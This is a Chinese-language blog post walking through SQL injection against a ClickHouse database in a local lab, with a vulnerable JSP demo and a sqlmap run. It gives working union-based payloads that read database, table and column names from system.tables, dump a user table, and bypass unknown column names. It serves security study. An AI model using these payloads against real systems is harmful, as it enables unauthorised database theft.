简单介绍clickhouse注入
ClickHouse场景下的SQL注入
基本介绍
ClickHouse是一个面向联机分析处理(OLAP)的开源的面向列式存储的DBMS,简称CK, 与Hadoop, Spark相比,ClickHouse很轻量级,由俄罗斯第一大搜索引擎Yandex于2016年6月发布, 开发语言为C++。
环境搭建
ClickHouse搭建
此次直接采用docker搭建ClickHouse服务,参考以下文章:
https://www.cnblogs.com/ronnieyuan/p/12580729.html
IDEA连接ClickHouse
https://blog.csdn.net/u011110301/article/details/113563023
初始化ClickHouse数据库
IDEA连上clickhouse直接执行下面命令创建数据库demo就行
1 | create database test; |
JavaWeb测试代码
拿jsp写的demo,我是用maven构建的,记得导clickhouse的驱动依赖
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding = "UTF-8"%> |
效果预览
关键点学习
这个之前没怎么接触过,先搭建起来试了一下,记录一下比较关键的点
System数据库
维持了系统数据库System,包括以下比较有用的字段
- database:数据库名,用以获取数据库名
- name:表名,用以获取表名
- create_table_query:创建表时执行的语句,用以获取字段名
Tricks
- concat()要求参数均为字符串类型,因此需要经常用到toString()
- 字段严格限制类型,和Oracle注入比较像,因此需要经常用到toString()
- union all select注入
SQL注入攻击测试
自动化测试
1 | python3 sqlmap.py -u "http://localhost:8080/ClickHouse_war_exploded/?id=1" --batch |
可以看到SQLmap是识别出存在SQL注入,但因为Sqlmap当前是不支持ClickHouse的,所以无法直接得到最后的攻击数据,接下来进行纯手工注入测试。
手工测试
判断注入点及注入类型
1 | ?id=1 |
1 | ?id=1 and 1=0 |
1 | ?id=1 or 1=1 |
对比可知,存在sql注入,且注入类型为数字型
判断字段数及对应类型
1 | ?id=1 order by 10000 |
测试发现order by 无论等于多少都不会报错,直接通过union all select 来测试字段数和对应类型
1 | ?id=1 union all select 1,2 |
对比可知,字段数为2,字段1为数字型,字段2为字符型
读取数据库名
1 | ?id=0 union all select 1,database() |
数据库名为default
读取表名
1 | ?id=0 union all select 1,name FROM system.tables WHERE database=database(); |
当前表名为user
读取列名
1 | ?id=0 union all select 1,toString(create_table_query) from system.tables where name='user' |
得到字段名为id,name
读取数据
1 | ?id=0 union all select id,name from user; |
无列名注入得到数据(bypass-适用于不知道列名)
假设在不知道列名的情况下,可能进行无列名注入,调试了一下,可以使用,给出payload
1 | ?id=0 union all select 1,c from (select concat(toString(a),b) as c from (select 1 as a,'column2' as b union all select * from user)) |
可见ClickHouse存在SQL注入风险,可导致数据库被拖取,其他利用方式暂未深入,有待探索……
本文链接: https://yd0ng.github.io/2022/03/23/clickhouse%E6%B3%A8%E5%85%A5/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!